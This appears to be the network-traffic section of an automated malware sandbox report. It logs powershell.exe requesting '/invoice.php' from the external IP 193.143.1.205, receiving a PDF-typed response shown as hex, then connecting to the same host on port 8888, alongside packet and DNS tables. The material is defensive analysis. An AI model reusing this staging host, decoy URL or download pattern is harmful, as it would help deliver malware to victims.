Jan 11, 2025 08:10:01.849220991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849231005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849237919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.849237919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.849252939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849330902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.869704962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869718075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869745970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869755983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869776964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869786024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869820118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.869820118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.869853020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869860888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.869863987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869885921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.869925022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.869925022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.872723103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872800112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872811079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872838020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872849941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872855902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.872874975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872885942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872904062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.872929096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.872929096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.872996092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895019054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895030022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895056963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895078897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895088911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895107985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895133018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895136118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895136118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895172119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895172119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895184040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895206928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895235062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895251036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895258904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895270109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895323038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895344973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895359039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895378113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895385981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895394087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895464897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895479918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895492077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895510912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895533085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895538092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895555019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895566940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895571947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895590067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895600080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895618916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895629883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895637989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895638943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895724058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895733118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895744085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895768881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895778894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895797968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895808935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895813942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895813942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895848036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895859003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895869970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895879984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895917892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.895939112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895950079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895970106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.895982027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896008968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896008968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896074057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896085024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896102905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896114111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896136045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896136045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896181107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896193027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896214008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896244049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896244049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896269083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896280050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896298885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896311045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896353960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896357059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896357059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896363974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896385908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896395922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896406889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896415949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896425009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896471024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896471024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896538019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896562099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896572113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896627903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896648884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896658897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896678925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896689892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896712065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896718979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896719933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896722078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896740913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.896781921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.896781921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.897769928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897780895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897799969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897809982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897849083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.897872925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.897874117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897886038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897903919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897912979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.897947073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.897947073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898036003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898094893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898106098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898127079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898137093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898163080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898163080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898185015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898194075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898212910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898225069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898242950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898252964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898252964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898307085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898309946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898318052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898338079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898346901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898367882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898376942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.898379087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.898379087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.899065971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.927851915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940016985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940028906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940049887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940123081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940310955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940335035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940351963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940366983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940376997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940386057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940397024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940412998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940433025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940433979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940433979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940452099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940463066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940485954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940485954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940485954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940495968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940516949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.940545082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940582991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.940928936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.962275028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962338924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962352037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962373972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962385893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962402105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962430954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.962465048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.962465048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.965209007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965253115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965265989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965291023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965327024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965338945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965352058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.965352058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.965365887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965379000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.965383053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.965415955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987469912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987502098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987514973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987549067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987657070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987669945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987693071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987704039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987725019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987725019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987732887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987745047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987761974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987778902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987796068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987803936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987803936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987814903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.987853050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.987988949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:02.047164917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:02.069960117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:02.335366964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:03.193413973 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:03.198210001 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:03.198296070 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:03.215467930 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:03.220345020 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:03.989280939 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:04.039062977 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:04.105655909 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:10:16.597968102 CET	51996	53	192.168.2.4	1.1.1.1
Jan 11, 2025 08:10:32.582595110 CET	61631	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:10:16.597968102 CET	192.168.2.4	1.1.1.1	0x23c9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:10:32.582595110 CET	192.168.2.4	1.1.1.1	0x330	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:10:16.830285072 CET	1.1.1.1	192.168.2.4	0x23c9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:10:32.592278957 CET	1.1.1.1	192.168.2.4	0x330	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:10:00.418214083 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:10:01.236893892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:10:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:10:01.236922026 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:10:01.236942053 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:10:01.236962080 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 08:10:01.236973047 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 08:10:01.236989021 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
